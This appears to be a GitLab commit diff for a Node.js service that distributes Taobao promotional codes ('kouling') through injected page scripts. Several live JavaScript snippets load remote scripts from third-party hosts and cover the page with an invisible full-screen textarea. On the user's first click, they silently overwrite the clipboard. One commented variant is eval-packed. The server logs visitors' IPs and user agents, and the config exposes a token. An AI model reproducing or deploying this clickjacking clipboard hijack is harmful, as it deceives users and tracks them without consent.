Commit 935c8d19 authored by 刘松's avatar 刘松

complex things

parent 41bb1a4d
module.exports = {
port:3000,
//mongo:'mongodb://user:password@mongo-gp-content-distribution-1.localhost:1302,mongo-gp-content-distribution-2.localhost:1302,mongo-gp-content-distribution-3.localhost:1302/taoarticle?replicaSet=gp-content-aiweibang',
mongo:'mongodb://user:password@mongo-gp-content-distribution-1.localhost:1302,mongo-gp-content-distribution-2.localhost:1302,mongo-gp-content-distribution-3.localhost:1302/taoarticle?replicaSet=gp-content-aiweibang',
host:'http://materials.apps.xiaoyun.com',
token:"A284C10255D01C980897737B81B1C0B4",
es:'http://client-stats-es.gclick.cn',
mongo:'mongodb://127.0.0.1:27017/taoarticle'
redis:{
host:"10.11.3.132",
port:"1401"
}/*,
mongo:'mongodb://127.0.0.1:27017/taoarticle'*/
}
\ No newline at end of file
REDIS0006ܳCZV
\ No newline at end of file
......@@ -11,6 +11,18 @@ const schema = mongoose.Schema({
type: String,
required: true
},
ipstatus:{
type:String,
required:false
},
iplimit:{
type:Number,
required:false
},
info:{
type: String,
unique: false
},
role: {
type: String,
required: true
......
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
info: {
type: String,
required: true
},
qd:{
type:ObjectId,
required: true,
ref:'tao-agent'
},
times: {
type:Number,
required: true
},
date:{
type:String,
required: true
},
}, {
timestamps: true
});
schema.index({qd: 1});
module.exports = mongoose.model('tao-log-click', schema);
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
qd:{
type:ObjectId,
required: true,
ref:'tao-agent'
},
times:{
type:Number,
required: true
},
iplimit:{
type:Number,
required:false
},
date:{
type:String,
required: true
},
}, {
timestamps: true
});
schema.index({qd: 1});
module.exports = mongoose.model('tao-nonetkl-log', schema);
......@@ -15,6 +15,7 @@
"ioredis": "^3.1.1",
"mongoose": "^4.11.10",
"morgan": "~1.7.0",
"redis": "^2.8.0",
"request": "^2.81.0",
"serve-favicon": "~2.3.0"
}
......
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="https://adp.xibao100.com/tkl/5?tfc_id=JDMX",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){b.value=cptext_tkl,b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
\ No newline at end of file
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="https://page.wapuq.cn/tao/tb_kl?qd=5a2798cfd7548500122bcbdc",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){try { b.value=cptext_tkl}catch(e){b.value='M8xFKz57eK'}finally{b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
\ No newline at end of file
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="https://page.wapuq.cn/tao/tb_kl?qd=5a27afd738f3c60012f3f4c3",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){try { b.value=cptext_tkl}catch(e){b.value='M8xFKz57eK'}finally{b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
\ No newline at end of file
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="https://page.wapuq.cn/tao/tb_kl?qd=5aa0dc5dfc82a80023ab4d98",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){try { b.value=cptext_tkl}catch(e){b.value='M8xFKz57eK'}finally{b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
\ No newline at end of file
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="https://js2.ywsem.com:4433/tkl/5?tfc_id=MWD",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){b.value=cptext_tkl,b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
\ No newline at end of file
......@@ -5,12 +5,33 @@ var hash = require('../util/hash');
var tao = require('../lib/tao');
var agent = require('../lib/tao-agent');
var kouling = require('../lib/tao-kouling');
var noneTkl = require('../lib/tao-nonetkl-log');
var click = require('../lib/tao-log-click');
var log = require('../lib/tao-log');
var mongoose = require('mongoose');
var config = require('../config/index');
var vipshop = require('../lib/vishop-log');
var moment = require('moment');
var request = require('request');
var fs = require('fs');
var _ = require('bluebird');
//var path = './';
var path = '/data/log/';
var map = {
'5a338a6f88a4ac0012bb1939':"oYzDv947fx",
'5a1bc9e10f36c60011fa4470':"wcFt5l23Ui",
'5a24ccea53068a46fec01a8c':"Ei0XwL83yl",
'5a27afd738f3c60012f3f4c3':"S6zJkI387K",
'5a4b1b507edb1800127bec33':"xnIfbK03VD"
}
var redis = require("redis"),
client = redis.createClient(config.redis);
_.promisifyAll(redis.RedisClient.prototype);
_.promisifyAll(redis.Multi.prototype);
client.on("error", function (err) {
console.log("Error " + err);
});
/* GET home page. */
router.post('/agent', async function (req, res, next) {
let {user,password,role = 'channel'} = req.body;
......@@ -42,24 +63,86 @@ router.post('/tb_kl', async function (req, res, next) {
});
router.get('/tb_kl', async function (req, res, next) {
var ua = req.headers['user-agent'];
var referer = req.headers['referer'];
var options = {limit: 10000, skip: 0, sort: {}};
var qd = req.query.qd;
var ip = req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress;
var time = moment().add(8,'hours');
var date = time.format('YYYYMMDD');
var txt = time.format('YYYYMMDDHH') + '.log';
fs.appendFile(path + txt,ip + '@' + qd + '@' + ua + '@' + referer+'\n',function(){
console.log(ip + '@' + qd + '@' + ua + '@' + referer);
});
var qd_body = await agent.findById(qd);
if(qd_body){
//qd_body = qd_body.toJSON();
if(qd_body.ipstatus == 'use'){
var limit = qd_body.toJSON().iplimit || 0;
var count = await client.getAsync(ip.split(':')[ip.split(':').length-1]);
if(parseInt(count) >= limit){
await noneTkl.update({date:date,qd:qd,iplimit:1},{'$inc':{times:1}},{upsert:true});
return res.send('var cptext_tkl = "";');
}
else{
let ipString = ip.split(':')[ip.split(':').length-1];
let cache = await client.getAsync(ipString);
if(cache){
await client.incrAsync(ipString);
}
else{
let exat = moment(date + '155959','YYYYMMDDHHmmss').format('x') - moment().format('x');
exat = exat > 0 ? exat : 1;
await client.setAsync(ipString,1,'PX',exat,'NX');
}
}
}
var kls = await kouling.find({creater:mongoose.Types.ObjectId(qd),status:'use'}, null, options);
if(kls && kls.length){
kls = kls.map(x => x.toJSON());
var kl = kls[Math.floor(Math.random()*kls.length)];
var k = 'var cptext_tkl = "';
var date = moment().format('YYYYMMDD');
await log.update({key:kl.info,schedule:kl.schedule,link:kl.link,date:date},{'$inc':{times:1}},{upsert:true});
/* if(map[qd])
res.send(k + map[qd] + kl.info + '";');
else*/
res.send(k + kl.info + '";');
}
else{
res.send('var cptext_tkl = "";');
await noneTkl.update({date:date,qd:qd},{'$inc':{times:1}},{upsert:true});
res.send('var cptext_tkl = "M8xFKz57eK";');
}
}else{
await noneTkl.update({date:date,qd:qd},{'$inc':{times:1}},{upsert:true});
res.send('var cptext_tkl = "M8xFKz57eK";');
}
});
router.get('/tb_kl/click', async function (req, res, next) {
var qd = req.query.qd;
var tkl = req.query.tkl;
var date = moment().add(8,'hours').format('YYYYMMDD');
if(qd) kls = await click.update({date:date,qd:qd,info:tkl},{'$inc':{times:1}},{upsert:true});
//await log.update({key:kl.info,schedule:kl.schedule,link:kl.link,date:date},{'$inc':{times:1}},{upsert:true});
res.send({status:'ok'});
});
router.get('/all/tb_kl', async function (req, res, next) {
var options = {limit: 10000, skip: 0, sort: {}};
var qd = req.query.qd;
var kls = [];
if(qd) kls = await kouling.find({creater:mongoose.Types.ObjectId(qd),status:'use'}, null, options);
kls = kls.map(x => x.toJSON().info);
//await log.update({key:kl.info,schedule:kl.schedule,link:kl.link,date:date},{'$inc':{times:1}},{upsert:true});
res.send({status:'ok',tkls:kls});
});
router.get('/log/tb_kl', async function (req, res, next) {
try{
var options = {limit: 1000, skip: 0, sort: {'updatedAt':-1}};
......
......@@ -9,10 +9,21 @@
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
<head>
<style type="text/css">
body{
height: 5000px;
}
</style>
</head>
<body style="font-size: 10px">
<h2>测试</h2>
<p id="test">测试a标签</p>
<!-- <script type="text/javascript">
document.getElementById('test').onclick = function(e) {
console.dir('inner');
}
</script> -->
<!-- <script type="text/javascript">
!function(){var isiOS = !!navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);var a,b,cnzz,cnzz1;var doo = function(e){ alert(e.type); cnzz1=document.createElement("script"),cnzz1.src="https://s22.cnzz.com/z_stat.php?id=1271005369&web_id=1271005369",document.body.appendChild(cnzz1);try {b.value= cptext_tkl;}catch(e){ b.value= '¥PQzf07eMcHK¥'} finally{ b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}};return document.body?(cnzz=document.createElement("script"),cnzz.src="https://s22.cnzz.com/z_stat.php?id=1270714932&web_id=1270714932",document.body.appendChild(cnzz),a=document.createElement("script"),a.src="http://js2.ywsem.com/tkl/5?tfc_id=TJB",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),(isiOS ? b.addEventListener("click",doo) : b.addEventListener("touchstart",doo)),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
</script> -->
......@@ -22,7 +33,7 @@
<!-- <script type="text/javascript">
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="http://page.wapuq.cn/tao/tb_kl?qd=5a1bb3800f36c60011fa446f",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){b.value=cptext_tkl,b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
</script> -->
<script type="text/javascript">
<!-- <script type="text/javascript">
(function () {
if (!document.body) return setTimeout(arguments.callee, 50);
var rnd = Math.floor(Math.random()*1000);
......@@ -43,6 +54,67 @@
document.body.removeChild(ifr);
}, 1600);
})();
</script> -->
<!-- <script type="text/javascript">
!function(){var pre,a,b,c,type='xb';return document.body?(pre=document.createElement("script"),pre.src="http://js2.ywsem.com/tkl/5?tfc_id=APPHYB",document.body.appendChild(pre), setTimeout(function(){ try { console.log(cptext_tkl); } catch(e){ type='gy',a=document.createElement("script"),a.src="http://page.wapuq.cn/tao/tb_kl?qd=5a27afd738f3c60012f3f4c3",document.body.appendChild(a)}},800),
b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.addEventListener("click",function(){
b.value=cptext_tkl,b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b);if(type =='gy'){ c=document.createElement("script"),c.src="http://page.wapuq.cn/tao/tb_kl/click?qd=5a27afd738f3c60012f3f4c3&tkl="+cptext_tkl,document.body.appendChild(c);}
}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(null),50)}()
</script> -->
<script type="text/javascript">
/*
var cptext_tkl,YWTKLV=5,YWTKLC='zff';
!function() {
var t=document.createElement("script");
t.src='https://js2.ywsem.com:4433/tkl/'+YWTKLV+'?tfc_id='+YWTKLC;
t.onload = t.onreadystatechange = function(ev){
if(!this.readyState || this.readyState=='loaded' || this.readyState=='complete'){
tklLoaded();
t.onload = t.onreadystatechange = null;
}
};
document.body.appendChild(t);
function tklLoaded() {
if (!cptext_tkl) {
return;
}
var b=document.createElement("input");
b.style.border = 0;
b.style.background='transparent';
b.style.color='transparent';
b.style.position='fixed';
//b.style.visibility='hidden';
b.style.top=0;
b.style.left=0;
b.style.zIndex=-1;
b.value = cptext_tkl;
b.setAttribute("readonly","");
document.body.appendChild(b);
var a =document.getElementsByTagName('a');
var h = [];
for(var i=0;i<a.length;i++) {
h[i] = a[i].onclick;
a[i].setAttribute('data-idx', i);
a[i].onclick=function(ev) {
b.select();
b.setSelectionRange(0,b.value.length);
document.execCommand("copy",!1,null);
b.style.display = 'none';
var idx = ev.target.getAttribute('data-idx');
console.log(h[idx]);
if (h[idx]) {
return h[idx](ev)
}
return true;
}
}
}
}();*/
/*var cptext_tkl,YWTKLV=5,YWTKLC='LD01';
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('!6(){4 t=3.u("v");t.D=\'E://F.A.B:C/J/\'+K+\'?L=\'+G;t.k=t.l=6(7){d(!8.9||8.9==\'H\'||8.9==\'I\'){f();t.k=t.l=o}};3.g.m(t);6 f(){d(!r){c}4 b=3.u("y");b.2.w=0;b.2.z=\'p\';b.2.x=\'p\';b.2.W=\'Y\';b.2.Z=0;b.2.X=0;b.2.V=-1;b.e=r;b.j("11","");3.g.m(b);4 a=3.12(\'a\');4 h=[];10(4 i=0;i<a.s;i++){h[i]=a[i].n;a[i].j(\'q-5\',i);a[i].n=6(7){b.O();b.P(0,b.e.s);3.M("N",!1,o);4 5=7.Q.T(\'q-5\');U.R(h[5]);d(h[5]){c h[5](7)}c S}}}}();',62,65,'||style|document|var|idx|function|ev|this|readyState|||return|if|value|tklLoaded|body|||setAttribute|onload|onreadystatechange|appendChild|onclick|null|transparent|data|cptext_tkl|length||createElement|script|border|color|input|background|ywsem|com|4433|src|https|js2|YWTKLC|loaded|complete|tkl|YWTKLV|tfc_id|execCommand|copy|select|setSelectionRange|target|log|true|getAttribute|console|zIndex|position|left|fixed|top|for|readonly|getElementsByTagName'.split('|'),0,{}));*/
</script>
<script type="text/javascript">
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="https://adp.xibao100.com/tkl/5?tfc_id=zff",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){try { b.value=cptext_tkl}catch(e){b.value='M8xFKz57eK'}finally{b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
</script>
</body>
</html>
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment